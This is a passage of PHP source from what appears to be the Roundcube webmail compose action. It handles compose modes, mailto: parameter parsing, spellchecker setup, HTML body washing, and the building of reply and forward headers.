            'savingresponse', 'restoresavedcomposedata', 'restoremessage', 'delete', 'restore', 'ignore',
            'selectimportfile', 'messageissent', 'loadingdata', 'nopubkeyfor', 'nopubkeyforsender',
            'encryptnoattachments','encryptedsendialog','searchpubkeyservers', 'importpubkeys',
            'encryptpubkeysfound',  'search', 'close', 'import', 'keyid', 'keylength', 'keyexpired',
            'keyrevoked', 'keyimportsuccess', 'keyservererror', 'attaching', 'namex', 'attachmentrename'
        );

        $rcmail->output->set_pagetitle($rcmail->gettext('compose'));

        $rcmail->output->set_env('compose_id', self::$COMPOSE['id']);
        $rcmail->output->set_env('session_id', session_id());
        $rcmail->output->set_env('mailbox', $rcmail->storage->get_folder());
        $rcmail->output->set_env('top_posting', intval($rcmail->config->get('reply_mode')) > 0);
        $rcmail->output->set_env('sig_below', $rcmail->config->get('sig_below'));
        $rcmail->output->set_env('save_localstorage', (bool) $rcmail->config->get('compose_save_localstorage'));
        $rcmail->output->set_env('is_sent', false);
        $rcmail->output->set_env('mimetypes', self::supported_mimetypes());
        $rcmail->output->set_env('keyservers', $rcmail->config->keyservers());
        $rcmail->output->set_env('mailvelope_main_keyring', $rcmail->config->get('mailvelope_main_keyring'));

        $drafts_mbox     = $rcmail->config->get('drafts_mbox');
        $config_show_sig = $rcmail->config->get('show_sig', 1);

        // add config parameters to client script
        if (strlen($drafts_mbox)) {
            $rcmail->output->set_env('drafts_mailbox', $drafts_mbox);
            $rcmail->output->set_env('draft_autosave', $rcmail->config->get('draft_autosave'));
        }

        // default font for HTML editor
        $font = self::font_defs($rcmail->config->get('default_font'));
        if ($font && !is_array($font)) {
            $rcmail->output->set_env('default_font', $font);
        }

        // default font size for HTML editor
        if ($font_size = $rcmail->config->get('default_font_size')) {
            $rcmail->output->set_env('default_font_size', $font_size);
        }

        $compose_mode = null;
        $msg_uid      = null;
        $options      = [];

        // get reference message and set compose mode
        if (!empty(self::$COMPOSE['param']['draft_uid'])) {
            $msg_uid      = self::$COMPOSE['param']['draft_uid'];
            $compose_mode = rcmail_sendmail::MODE_DRAFT;
            $rcmail->output->set_env('draft_id', $msg_uid);
            $rcmail->storage->set_folder($drafts_mbox);
        }
        else if (!empty(self::$COMPOSE['param']['reply_uid'])) {
            $msg_uid      = self::$COMPOSE['param']['reply_uid'];
            $compose_mode = rcmail_sendmail::MODE_REPLY;
        }
        else if (!empty(self::$COMPOSE['param']['forward_uid'])) {
            $msg_uid      = self::$COMPOSE['param']['forward_uid'];
            $compose_mode = rcmail_sendmail::MODE_FORWARD;
            self::$COMPOSE['forward_uid']   = $msg_uid;
            self::$COMPOSE['as_attachment'] = !empty(self::$COMPOSE['param']['attachment']);
        }
        else if (!empty(self::$COMPOSE['param']['uid'])) {
            $msg_uid = self::$COMPOSE['param']['uid'];
            $compose_mode = rcmail_sendmail::MODE_EDIT;
        }

        self::$COMPOSE['mode'] = $compose_mode;

        if ($compose_mode) {
            $rcmail->output->set_env('compose_mode', $compose_mode);
        }

        if ($compose_mode == rcmail_sendmail::MODE_EDIT || $compose_mode == rcmail_sendmail::MODE_DRAFT) {
            // don't add signature in draft/edit mode, we'll also not remove the old-one
            // but only on page display, later we should be able to change identity/sig (#1489229)
            if ($config_show_sig == 1 || $config_show_sig == 2) {
                $rcmail->output->set_env('show_sig_later', true);
            }
        }
        else if ($config_show_sig == 1) {
            $rcmail->output->set_env('show_sig', true);
        }
        else if ($config_show_sig == 2 && empty($compose_mode)) {
            $rcmail->output->set_env('show_sig', true);
        }
        else if (
            $config_show_sig == 3
            && ($compose_mode == rcmail_sendmail::MODE_REPLY || $compose_mode == rcmail_sendmail::MODE_FORWARD)
        ) {
            $rcmail->output->set_env('show_sig', true);
        }

        if (!empty($msg_uid) && (empty(self::$COMPOSE['as_attachment']) || $compose_mode == rcmail_sendmail::MODE_DRAFT)) {
            $mbox_name = $rcmail->storage->get_folder();

            // set format before rcube_message construction
            // use the same format as for the message view
            if (isset($_SESSION['msg_formats'][$mbox_name . ':' . $msg_uid])) {
                $rcmail->config->set('prefer_html', $_SESSION['msg_formats'][$mbox_name . ':' . $msg_uid]);
            }
            else {
                $prefer_html = $rcmail->config->get('prefer_html')
                    || $rcmail->config->get('htmleditor')
                    || $compose_mode == rcmail_sendmail::MODE_DRAFT
                    || $compose_mode == rcmail_sendmail::MODE_EDIT;

                $rcmail->config->set('prefer_html', $prefer_html);
            }

            self::$MESSAGE = new rcube_message($msg_uid);

            // make sure message is marked as read
            if (
                !empty(self::$MESSAGE->headers)
                && self::$MESSAGE->context === null
                && empty(self::$MESSAGE->headers->flags['SEEN'])
            ) {
                $rcmail->storage->set_flag($msg_uid, 'SEEN');
            }

            if (!empty(self::$MESSAGE->headers->charset)) {
                $rcmail->storage->set_charset(self::$MESSAGE->headers->charset);
            }

            if (empty(self::$MESSAGE->headers)) {
                // error
            }
            else if ($compose_mode == rcmail_sendmail::MODE_FORWARD || $compose_mode == rcmail_sendmail::MODE_REPLY) {
                if ($compose_mode == rcmail_sendmail::MODE_REPLY) {
                    self::$COMPOSE['reply_uid'] = self::$MESSAGE->context === null ? $msg_uid : null;

                    if (!empty(self::$COMPOSE['param']['all'])) {
                        self::$COMPOSE['reply_all'] = self::$COMPOSE['param']['all'];
                    }
                }
                else {
                    self::$COMPOSE['forward_uid'] = $msg_uid;
                }

                self::$COMPOSE['reply_msgid'] = self::$MESSAGE->headers->messageID;
                self::$COMPOSE['references']  = trim(self::$MESSAGE->headers->references . " " . self::$MESSAGE->headers->messageID);

                // Save the sent message in the same folder of the message being replied to
                if (
                    $rcmail->config->get('reply_same_folder')
                    && ($sent_folder = self::$COMPOSE['mailbox'])
                    && rcmail_sendmail::check_sent_folder($sent_folder, false)
                ) {
                    self::$COMPOSE['param']['sent_mbox'] = $sent_folder;
                }
            }
            else if ($compose_mode == rcmail_sendmail::MODE_DRAFT || $compose_mode == rcmail_sendmail::MODE_EDIT) {
                if ($compose_mode == rcmail_sendmail::MODE_DRAFT) {
                    if ($draft_info = self::$MESSAGE->headers->get('x-draft-info')) {
                        // get reply_uid/forward_uid to flag the original message when sending
                        $info = rcmail_sendmail::draftinfo_decode($draft_info);

                        if (!empty($info['type'])) {
                            if ($info['type'] == 'reply') {
                                self::$COMPOSE['reply_uid'] = $info['uid'];
                            }
                            else if ($info['type'] == 'forward') {
                                self::$COMPOSE['forward_uid'] = $info['uid'];
                            }
                        }

                        if (!empty($info['dsn']) && $info['dsn'] === 'on') {
                            $options['dsn_enabled'] = true;
                        }

                        self::$COMPOSE['mailbox'] = $info['folder'] ?? null;

                        // Save the sent message in the same folder of the message being replied to
                        if (
                            $rcmail->config->get('reply_same_folder')
                            && ($sent_folder = self::$COMPOSE['mailbox'])
                            && rcmail_sendmail::check_sent_folder($sent_folder, false)
                        ) {
                            self::$COMPOSE['param']['sent_mbox'] = $sent_folder;
                        }
                    }

                    if (($msgid = self::$MESSAGE->headers->get('message-id')) && !preg_match('/^mid:[0-9]+$/', $msgid)) {
                        self::$COMPOSE['param']['message-id'] = $msgid;
                    }

                    // use message UID as draft_id
                    $rcmail->output->set_env('draft_id', $msg_uid);
                }

                if ($in_reply_to = self::$MESSAGE->headers->get('in-reply-to')) {
                    self::$COMPOSE['reply_msgid'] = '<' . $in_reply_to . '>';
                }

                self::$COMPOSE['references'] = self::$MESSAGE->headers->references;
            }
        }
        else {
            self::$MESSAGE = new stdClass();

            // apply mailto: URL parameters
            if (!empty(self::$COMPOSE['param']['in-reply-to'])) {
                self::$COMPOSE['reply_msgid'] = '<' . trim(self::$COMPOSE['param']['in-reply-to'], '<> ') . '>';
            }

            if (!empty(self::$COMPOSE['param']['references'])) {
                self::$COMPOSE['references'] = self::$COMPOSE['param']['references'];
            }
        }

        if (!empty(self::$COMPOSE['reply_msgid'])) {
            $rcmail->output->set_env('reply_msgid', self::$COMPOSE['reply_msgid']);
        }

        $options['message'] = self::$MESSAGE;

        // Initialize helper class to build the UI
        self::$SENDMAIL = new rcmail_sendmail(self::$COMPOSE, $options);

        // process self::$MESSAGE body/attachments, set self::$MESSAGE_BODY/$HTML_MODE vars and some session data
        self::$MESSAGE_BODY = self::prepare_message_body();

        // register UI objects (Note: some objects are registered by rcmail_sendmail above)
        $rcmail->output->add_handlers([
                'composebody'           => [$this, 'compose_body'],
                'composeobjects'        => [$this, 'compose_objects'],
                'composeattachmentlist' => [$this, 'compose_attachment_list'],
                'composeattachmentform' => [$this, 'compose_attachment_form'],
                'composeattachment'     => [$this, 'compose_attachment_field'],
                'filedroparea'          => [$this, 'compose_file_drop_area'],
                'editorselector'        => [$this, 'editor_selector'],
                'addressbooks'          => [$this, 'addressbook_list'],
                'addresslist'           => [$this, 'contacts_list'],
                'responseslist'         => [$this, 'compose_responses_list'],
        ]);

        $rcmail->output->include_script('publickey.js');

        self::spellchecker_init();

        $rcmail->output->send('compose');
    }

    // process compose request parameters
    public static function process_compose_params(&$COMPOSE)
    {
        if (!empty($COMPOSE['param']['to'])) {
            $mailto = explode('?', $COMPOSE['param']['to'], 2);

            // #1486037: remove "mailto:" prefix
            $COMPOSE['param']['to'] = preg_replace('/^mailto:/i', '', $mailto[0]);
            // #1490346: decode the recipient address
            // #1490510: use raw encoding for correct "+" character handling as specified in RFC6068
            $COMPOSE['param']['to'] = rawurldecode($COMPOSE['param']['to']);

            // Supported case-insensitive tokens in mailto URL
            $url_tokens = ['to', 'cc', 'bcc', 'reply-to', 'in-reply-to', 'references', 'subject', 'body'];

            if (!empty($mailto[1])) {
                parse_str($mailto[1], $query);
                foreach ($query as $f => $val) {
                    if (($key = array_search(strtolower($f), $url_tokens)) !== false) {
                        $f = $url_tokens[$key];
                    }

                    // merge mailto: addresses with addresses from 'to' parameter
                    if ($f == 'to' && !empty($COMPOSE['param']['to'])) {
                        $to_addresses  = rcube_mime::decode_address_list($COMPOSE['param']['to'], null, true, null, true);
                        $add_addresses = rcube_mime::decode_address_list($val, null, true);

                        foreach ($add_addresses as $addr) {
                            if (!in_array($addr['mailto'], $to_addresses)) {
                                $to_addresses[]         = $addr['mailto'];
                                $COMPOSE['param']['to'] = (!empty($to_addresses) ? ', ' : '') . $addr['string'];
                            }
                        }
                    }
                    else {
                        $COMPOSE['param'][$f] = $val;
                    }
                }
            }
        }

        // resolve _forward_uid=* to an absolute list of messages from a search result
        if (
            !empty($COMPOSE['param']['forward_uid'])
            && $COMPOSE['param']['forward_uid'] == '*'
            && !empty($_SESSION['search'][1])
            && is_object($_SESSION['search'][1])
        ) {
            $COMPOSE['param']['forward_uid'] = $_SESSION['search'][1]->get();
        }

        // clean HTML message body which can be submitted by URL
        if (!empty($COMPOSE['param']['body'])) {
            if ($COMPOSE['param']['html'] = strpos($COMPOSE['param']['body'], '<') !== false) {
                $wash_params              = ['safe' => false, 'inline_html' => true];
                $COMPOSE['param']['body'] = self::prepare_html_body($COMPOSE['param']['body'], $wash_params);
            }
        }

        $rcmail = rcmail::get_instance();

        // select folder where to save the sent message
        $COMPOSE['param']['sent_mbox'] = $rcmail->config->get('sent_mbox');

        // pipe compose parameters thru plugins
        $plugin = $rcmail->plugins->exec_hook('message_compose', $COMPOSE);

        $COMPOSE['param'] = array_merge($COMPOSE['param'], $plugin['param']);

        // add attachments listed by message_compose hook
        if (!empty($plugin['attachments'])) {
            foreach ($plugin['attachments'] as $attach) {
                // we have structured data
                if (is_array($attach)) {
                    $attachment = $attach + ['group' => self::$COMPOSE_ID];
                }
                // only a file path is given
                else {
                    $filename   = basename($attach);
                    $attachment = [
                        'group'    => self::$COMPOSE_ID,
                        'name'     => $filename,
                        'mimetype' => rcube_mime::file_content_type($attach, $filename),
                        'size'     => filesize($attach),
                        'path'     => $attach,
                    ];
                }

                // save attachment if valid
                if (
                    (!empty($attachment['data']) && !empty($attachment['name']))
                    || (!empty($attachment['path']) && file_exists($attachment['path']))
                ) {
                    $attachment = $rcmail->plugins->exec_hook('attachment_save', $attachment);
                }

                if (!empty($attachment['status']) && empty($attachment['abort'])) {
                    unset($attachment['data'], $attachment['status'], $attachment['abort']);
                    $COMPOSE['attachments'][$attachment['id']] = $attachment;
                }
            }
        }
    }

    public static function compose_editor_mode()
    {
        static $useHtml;

        if ($useHtml !== null) {
            return $useHtml;
        }

        $rcmail       = rcmail::get_instance();
        $html_editor  = intval($rcmail->config->get('htmleditor'));
        $compose_mode = self::$COMPOSE['mode'];

        if (isset(self::$COMPOSE['param']['html']) && is_bool(self::$COMPOSE['param']['html'])) {
            $useHtml = self::$COMPOSE['param']['html'];
        }
        else if (isset($_POST['_is_html'])) {
            $useHtml = !empty($_POST['_is_html']);
        }
        else if ($compose_mode == rcmail_sendmail::MODE_DRAFT || $compose_mode == rcmail_sendmail::MODE_EDIT) {
            $useHtml = self::message_is_html();
        }
        else if ($compose_mode == rcmail_sendmail::MODE_REPLY) {
            $useHtml = $html_editor == 1 || ($html_editor >= 2 && self::message_is_html());
        }
        else if ($compose_mode == rcmail_sendmail::MODE_FORWARD) {
            $useHtml = $html_editor == 1 || $html_editor == 4
                || ($html_editor == 3 && self::message_is_html());
        }
        else {
            $useHtml = $html_editor == 1 || $html_editor == 4;
        }

        return $useHtml;
    }

    public static function message_is_html()
    {
        return rcmail::get_instance()->config->get('prefer_html')
            && (self::$MESSAGE instanceof rcube_message)
            && self::$MESSAGE->has_html_part(true);
    }

    public static function spellchecker_init()
    {
        $rcmail = rcmail::get_instance();

        // Set language list
        if ($rcmail->config->get('enable_spellcheck')) {
            $spellchecker = new rcube_spellchecker();
        }
        else {
            return;
        }

        $spellcheck_langs = $spellchecker->languages();

        if (empty($spellcheck_langs)) {
            if ($err = $spellchecker->error()) {
                rcube::raise_error(['code' => 500,
                    'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Spell check engine error: " . trim($err)],
                    true, false
                );
            }
        }
        else {
            $dictionary = (bool) $rcmail->config->get('spellcheck_dictionary');
            $lang       = $_SESSION['language'];

            // if not found in the list, try with two-letter code
            if (empty($spellcheck_langs[$lang])) {
                $lang = strtolower(substr($lang, 0, 2));
            }

            if (empty($spellcheck_langs[$lang])) {
                $lang = 'en';
            }

            // include GoogieSpell
            $rcmail->output->include_script('googiespell.js');
            $rcmail->output->add_script(sprintf(
                "var googie = new GoogieSpell('%s/images/googiespell/','%s&lang=', %s);\n".
                "googie.lang_chck_spell = \"%s\";\n".
                "googie.lang_rsm_edt = \"%s\";\n".
                "googie.lang_close = \"%s\";\n".
                "googie.lang_revert = \"%s\";\n".
                "googie.lang_no_error_found = \"%s\";\n".
                "googie.lang_learn_word = \"%s\";\n".
                "googie.setLanguages(%s);\n".
                "googie.setCurrentLanguage('%s');\n".
                "googie.setDecoration(false);\n".
                "googie.decorateTextarea(rcmail.env.composebody);\n",
                $rcmail->output->asset_url($rcmail->output->get_skin_path()),
                $rcmail->url(['_task' => 'utils', '_action' => 'spell', '_remote' => 1]),
                !empty($dictionary) ? 'true' : 'false',
                rcube::JQ(rcube::Q($rcmail->gettext('checkspelling'))),
                rcube::JQ(rcube::Q($rcmail->gettext('resumeediting'))),
                rcube::JQ(rcube::Q($rcmail->gettext('close'))),
                rcube::JQ(rcube::Q($rcmail->gettext('revertto'))),
                rcube::JQ(rcube::Q($rcmail->gettext('nospellerrors'))),
                rcube::JQ(rcube::Q($rcmail->gettext('addtodict'))),
                rcube_output::json_serialize($spellcheck_langs),
                $lang
            ), 'foot');

            $rcmail->output->add_label('checking');
            $rcmail->output->set_env('spell_langs', $spellcheck_langs);
            $rcmail->output->set_env('spell_lang', $lang);
        }
    }

    public static function prepare_message_body()
    {
        $rcmail = rcmail::get_instance();
        $body   = '';

        // use posted message body
        if (!empty($_POST['_message'])) {
            $body   = rcube_utils::get_input_string('_message', rcube_utils::INPUT_POST, true);
            $isHtml = (bool) rcube_utils::get_input_string('_is_html', rcube_utils::INPUT_POST);
        }
        else if (!empty(self::$COMPOSE['param']['body'])) {
            $body   = self::$COMPOSE['param']['body'];
            $isHtml = !empty(self::$COMPOSE['param']['html']);
        }
        // forward as attachment
        else if (self::$COMPOSE['mode'] == rcmail_sendmail::MODE_FORWARD && !empty(self::$COMPOSE['as_attachment'])) {
            $isHtml = self::compose_editor_mode();

            self::write_forward_attachments();
        }
        // reply/edit/draft/forward
        else if (!empty(self::$COMPOSE['mode'])
            && (self::$COMPOSE['mode'] != rcmail_sendmail::MODE_REPLY || intval($rcmail->config->get('reply_mode')) != -1)
        ) {
            $isHtml   = self::compose_editor_mode();
            $messages = [];

            // Create a (fake) image attachments map. We need it before we handle
            // the message body. After that we'll go throughout the list and check
            // which images were used in the body and attach them for real or skip.
            if ($isHtml) {
                self::$CID_MAP = self::cid_map(self::$MESSAGE);
            }

            // set is_safe flag (before HTML body washing)
            if (self::$COMPOSE['mode'] == rcmail_sendmail::MODE_DRAFT) {
                self::$MESSAGE->is_safe = true;
            }
            else {
                self::check_safe(self::$MESSAGE);
            }

            if (!empty(self::$MESSAGE->parts)) {
                // collect IDs of message/rfc822 parts
                foreach (self::$MESSAGE->mime_parts() as $part) {
                    if ($part->mimetype == 'message/rfc822') {
                        $messages[] = $part->mime_id;
                    }
                }

                foreach (self::$MESSAGE->parts as $part) {
                    if (!empty($part->realtype) && $part->realtype == 'multipart/encrypted') {
                        // find the encrypted message payload part
                        if ($pgp_mime_part = self::$MESSAGE->get_multipart_encrypted_part()) {
                            $rcmail->output->set_env('pgp_mime_message', [
                                    '_mbox' => $rcmail->storage->get_folder(),
                                    '_uid'  => self::$MESSAGE->uid,
                                    '_part' => $pgp_mime_part->mime_id,
                            ]);
                        }
                        continue;
                    }

                    // skip no-content and attachment parts (#1488557)
                    if ($part->type != 'content' || !$part->size || self::$MESSAGE->is_attachment($part)) {
                        continue;
                    }

                    // skip all content parts inside the message/rfc822 part
                    foreach ($messages as $mimeid) {
                        if (strpos($part->mime_id, $mimeid . '.') === 0) {
                            continue 2;
                        }
                    }

                    if ($part_body = self::compose_part_body($part, $isHtml)) {
                        $body .= ($body ? ($isHtml ? '<br/>' : "\n") : '') . $part_body;
                    }
                }
            }

            // compose reply-body
            if (self::$COMPOSE['mode'] == rcmail_sendmail::MODE_REPLY) {
                $body = self::create_reply_body($body, $isHtml);

                if (!empty(self::$MESSAGE->pgp_mime)) {
                    $rcmail->output->set_env('compose_reply_header', self::get_reply_header(self::$MESSAGE));
                }
            }
            // forward message body inline
            else if (self::$COMPOSE['mode'] == rcmail_sendmail::MODE_FORWARD) {
                $body = self::create_forward_body($body, $isHtml);
            }
            // load draft message body
            else if (
                self::$COMPOSE['mode'] == rcmail_sendmail::MODE_DRAFT
                || self::$COMPOSE['mode'] == rcmail_sendmail::MODE_EDIT
            ) {
                $body = self::create_draft_body($body, $isHtml);
            }

            // Save forwarded files (or inline images) as attachments
            // This will also update inline images location in the body
            self::write_compose_attachments(self::$MESSAGE, $isHtml, $body);
        }
        // new message
        else {
            $isHtml = self::compose_editor_mode();
        }

        $plugin = $rcmail->plugins->exec_hook('message_compose_body', [
                'body'    => $body,
                'html'    => $isHtml,
                'mode'    => self::$COMPOSE['mode'],
                'message' => self::$MESSAGE,
        ]);

        $body = $plugin['body'];
        unset($plugin);

        // add blocked.gif attachment (#1486516)
        $regexp = '/ src="' . preg_quote($rcmail->output->asset_url('program/resources/blocked.gif'), '/') . '"/';
        if ($isHtml && preg_match($regexp, $body)) {
            $content = self::get_resource_content('blocked.gif');

            if ($content && ($attachment = self::save_image('blocked.gif', 'image/gif', $content))) {
                self::$COMPOSE['attachments'][$attachment['id']] = $attachment;
                $url = sprintf('%s&_id=%s&_action=display-attachment&_file=rcmfile%s',
                    $rcmail->comm_path, self::$COMPOSE['id'], $attachment['id']);
                $body = preg_replace($regexp, ' src="' . $url . '"', $body);
            }
        }

        self::$HTML_MODE = $isHtml;

        return $body;
    }

    /**
     * Prepare message part body for composition
     *
     * @param rcube_message_part $part   Message part
     * @param bool               $isHtml Use HTML mode
     *
     * @return string Message body text
     */
    public static function compose_part_body($part, $isHtml = false)
    {
        if (!$part instanceof rcube_message_part) {
            return '';
        }

        // Check if we have enough memory to handle the message in it
        // #1487424: we need up to 10x more memory than the body
        if (!rcube_utils::mem_check($part->size * 10)) {
            return '';
        }

        // fetch part if not available
        $body = self::$MESSAGE->get_part_body($part->mime_id, true);

        // message is cached but not exists (#1485443), or other error
        if ($body === false) {
            return '';
        }

        $rcmail = rcmail::get_instance();

        // register this part as pgp encrypted
        if (strpos($body, '-----BEGIN PGP MESSAGE-----') !== false) {
            self::$MESSAGE->pgp_mime = true;
            $rcmail->output->set_env('pgp_mime_message', [
                    '_mbox' => $rcmail->storage->get_folder(),
                    '_uid'  => self::$MESSAGE->uid,
                    '_part' => $part->mime_id,
            ]);
        }

        $strip_signature = self::$COMPOSE['mode'] != rcmail_sendmail::MODE_DRAFT
            && self::$COMPOSE['mode'] != rcmail_sendmail::MODE_EDIT
            && $rcmail->config->get('strip_existing_sig', true);

        $flowed = !empty($part->ctype_parameters['format']) && $part->ctype_parameters['format'] == 'flowed';
        $delsp  = $flowed && !empty($part->ctype_parameters['delsp']) && $part->ctype_parameters['delsp'] == 'yes';

        if ($isHtml) {
            if ($part->ctype_secondary == 'html') {
                $body = self::prepare_html_body($body);
            }
            else if ($part->ctype_secondary == 'enriched') {
                $body = rcube_enriched::to_html($body);
            }
            else {
                // try to remove the signature
                if ($strip_signature) {
                    $body = self::remove_signature($body);
                }

                // add HTML formatting
                $body = self::plain_body($body, $flowed, $delsp);
            }
        }
        else {
            if ($part->ctype_secondary == 'enriched') {
                $body = rcube_enriched::to_html($body);
                $part->ctype_secondary = 'html';
            }

            if ($part->ctype_secondary == 'html') {
                // set line length for body wrapping
                $line_length = $rcmail->config->get('line_length', 72);

                // use html part if it has been used for message (pre)viewing
                // decrease line length for quoting
                $len  = self::$COMPOSE['mode'] == rcmail_sendmail::MODE_REPLY ? $line_length-2 : $line_length;
                $body = $rcmail->html2text($body, ['width' => $len]);
            }
            else {
                if ($part->ctype_secondary == 'plain' && $flowed) {
                    $body = rcube_mime::unfold_flowed($body, null, $delsp);
                }

                // try to remove the signature
                if ($strip_signature) {
                    $body = self::remove_signature($body);
                }
            }
        }

        return $body;
    }

    public static function compose_body($attrib)
    {
        list($form_start, $form_end) = self::$SENDMAIL->form_tags($attrib);
        unset($attrib['form']);

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmComposeBody';
        }

        // If desired, set this textarea to be editable by TinyMCE
        $attrib['data-html-editor'] = true;
        if (self::$HTML_MODE) {
            $attrib['class'] = trim(($attrib['class'] ?? '') . ' mce_editor');
            $attrib['data-html-editor-content-element'] = $attrib['id'] . '-content';
        }

        $attrib['name'] = '_message';

        $rcmail   = rcmail::get_instance();
        $textarea = new html_textarea($attrib);
        $hidden   = new html_hiddenfield();

        $hidden->add(['name' => '_draft_saveid', 'value' => $rcmail->output->get_env('draft_id')]);
        $hidden->add(['name' => '_draft', 'value' => '']);
        $hidden->add(['name' => '_is_html', 'value' => self::$HTML_MODE ? "1" : "0"]);
        $hidden->add(['name' => '_framed', 'value' => '1']);

        $rcmail->output->set_env('composebody', $attrib['id']);

        $content = $hidden->show() . "\n";

        // We're adding a hidden textarea with the HTML content to workaround browsers' performance
        // issues with rendering/loading long content. It will be copied to the main editor (#8108)
        if (self::$HTML_MODE && strlen(self::$MESSAGE_BODY) > 50 * 1024) {
            $contentArea = new html_textarea(['style' => 'display:none', 'id' => $attrib['id'] . '-content']);
            $content .= $contentArea->show(self::$MESSAGE_BODY) . "\n" . $textarea->show();
        }
        else {
            $content .= $textarea->show(self::$MESSAGE_BODY);
        }

        // include HTML editor
        self::html_editor();

        return "$form_start\n$content\n$form_end\n";
    }

    public static function create_reply_body($body, $bodyIsHtml)
    {
        $rcmail       = rcmail::get_instance();
        $reply_mode   = (int) $rcmail->config->get('reply_mode');
        $reply_indent = $reply_mode != 2;

        // In top-posting without quoting it's better to use multi-line header
        if ($reply_mode == 2) {
            $prefix = self::get_forward_header(self::$MESSAGE, $bodyIsHtml, false);
        }
        else {
            $prefix = self::get_reply_header(self::$MESSAGE);
            if ($bodyIsHtml) {
                $prefix = '<p id="reply-intro">' . rcube::Q($prefix) . '</p>';
            }
            else {
                $prefix .= "\n";
            }
        }

        if (!$bodyIsHtml) {
            // quote the message text
            if ($reply_indent) {
                $body = self::quote_text($body);
            }

            if ($reply_mode > 0) { // top-posting
                $prefix = "\n\n\n" . $prefix;
                $suffix = '';
            }
            else {
                $suffix = "\n";
            }
        }
        else {
            $suffix = '';

            if ($reply_indent) {
                $prefix .= '<blockquote>';
                $suffix .= '</blockquote>';
            }

            if ($reply_mode == 2) {
                // top-posting, no indent
            }
            else if ($reply_mode > 0) {
                // top-posting
                $prefix = '<br>' . $prefix;
            }
            else {
                $suffix .= '<p><br/></p>';
            }
        }

        return $prefix . $body . $suffix;
    }

    public static function get_reply_header($message)
    {
        if (empty($message->headers)) {
            return '';
        }

        $rcmail = rcmail::get_instance();
        $list   = rcube_mime::decode_address_list($message->get_header('from'), 1, false, $message->headers->charset);
        $from   = array_pop($list);

        return $rcmail->gettext([
                'name' => 'mailreplyintro',
                'vars' => [
                    'date'   => $rcmail->format_date($message->get_header('date'), $rcmail->config->get('date_long')),
                    'sender' => !empty($from['name']) ? $from['name'] : rcube_utils::idn_to_utf8($from['mailto']),
                ]
        ]);
    }

    public static function create_forward_body($body, $bodyIsHtml)
    {
        return self::get_forward_header(self::$MESSAGE, $bodyIsHtml) . trim($body, "\r\n");
    }

    public static function get_forward_header($message, $bodyIsHtml = false, $extended = true)
    {
        if (empty($message->headers)) {
            return '';
        }

        $rcmail = rcmail::get_instance();
        $date   = $rcmail->format_date($message->get_header('date'), $rcmail->config->get('date_long'));

        if (!$bodyIsHtml) {
            $prefix = "\n\n\n-------- " . $rcmail->gettext('originalmessage') . " --------\n";
            $prefix .= $rcmail->gettext('subject') . ': ' . $message->subject . "\n";
            $prefix .= $rcmail->gettext('date')    . ': ' . $date . "\n";
            $prefix .= $rcmail->gettext('from')    . ': ' . $message->get_header('from') . "\n";
            $prefix .= $rcmail->gettext('to')      . ': ' . $message->get_header('to') . "\n";

            if ($extended && ($cc = $message->get_header('cc'))) {
                $prefix .= $rcmail->gettext('cc') . ': ' . $cc . "\n";
            }

            if ($extended && ($replyto = $message->get_header('reply-to')) && $replyto != $message->get_header('from')) {
                $prefix .= $rcmail->gettext('replyto') . ': ' . $replyto . "\n";
            }

            $prefix .= "\n";
        }
        else {
            $prefix = sprintf(
                "<br /><p>-------- " . $rcmail->gettext('originalmessage') . " --------</p>" .
                "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tbody>" .
                "<tr><th align=\"right\" nowrap=\"nowrap\" valign=\"baseline\">%s: </th><td>%s</td></tr>" .
                "<tr><th align=\"right\" nowrap=\"nowrap\" valign=\"baseline\">%s: </th><td>%s</td></tr>" .
                "<tr><th align=\"right\" nowrap=\"nowrap\" valign=\"baseline\">%s: </th><td>%s</td></tr>" .
                "<tr><th align=\"right\" nowrap=\"nowrap\" valign=\"baseline\">%s: </th><td>%s</td></tr>",
                $rcmail->gettext('subject'), rcube::Q($message->subject),
                $rcmail->gettext('date'), rcube::Q($date),
                $rcmail->gettext('from'), rcube::Q($message->get_header('from'), 'replace'),
                $rcmail->gettext('to'), rcube::Q($message->get_header('to'), 'replace')
            );

            if ($extended && ($cc = $message->get_header('cc'))) {
                $prefix .= sprintf("<tr><th align=\"right\" nowrap=\"nowrap\" valign=\"baseline\">%s: </th><td>%s</td></tr>",
                    $rcmail->gettext('cc'), rcube::Q($cc, 'replace'));
            }

            if ($extended && ($replyto = $message->get_header('reply-to')) && $replyto != $message->get_header('from')) {
                $prefix .= sprintf("<tr><th align=\"right\" nowrap=\"nowrap\" valign=\"baseline\">%s: </th><td>%s</td></tr>",
                    $rcmail->gettext('replyto'), rcube::Q($replyto, 'replace'));
            }

            $prefix .= "</tbody></table><br>";
        }

        return $prefix;
    }

    public static function create_draft_body($body, $bodyIsHtml)
    {
        // Return the draft body as-is
        return $body;
    }

    // Clean up HTML content of Draft/Reply/Forward (part of the message)
    public static function prepare_html_body($body, $wash_params = [])
    {
        static $part_no;

        // Set attributes of the part container
        $container_id     = self::$COMPOSE['mode'] . 'body' . (++$part_no);
        $container_attrib = ['id' => $container_id];
        $body_args        = [
            'safe'             => self::$MESSAGE->is_safe,
            'plain'            => false,
            'css_prefix'       => 'v' . $part_no,
        ];

        // remove comments (produced by washtml)
        $replace = ['/<!--[^>]+-->/' => ''];

        if (self::$COMPOSE['mode'] == rcmail_sendmail::MODE_DRAFT) {
            // convert TinyMCE's empty-line sequence (#1490463)
            $replace['/<p>\xC2\xA0<\/p>/'] = '<p><br /></p>';
            // remove <body> tags
            $replace['/<body([^>]*)>/i'] = '';
            $replace['/<\/body>/i']      = '';
        }
        else {
            $body_args['container_id']     = $container_id;
            $body_args['container_attrib'] = $container_attrib;
        }

        // Make the HTML content safe and clean
        $body = self::wash_html($body, $wash_params + $body_args, self::$CID_MAP);
        $body = preg_replace(array_keys($replace), array_values($replace), $body);
        $body = self::html4inline($body, $body_args);

        if (self::$COMPOSE['mode'] != rcmail_sendmail::MODE_DRAFT) {
            $body = html::div($container_attrib, $body);
        }

        return $body;
    }

    // Removes signature from the message body
    public static function remove_signature($body)
    {
        $rcmail = rcmail::get_instance();
        $body   = str_replace("\r\n", "\n", $body);
        $len    = strlen($body);
        $sig_max_lines = $rcmail->config->get('sig_max_lines', 15);

        while (($sp = strrpos($body, "-- \n", !empty($sp) ? -$len + $sp - 1 : 0)) !== false) {
            if ($sp == 0 || $body[$sp-1] == "\n") {
                // do not touch blocks with more that X lines
                if (substr_count($body, "\n", $sp) < $sig_max_lines) {
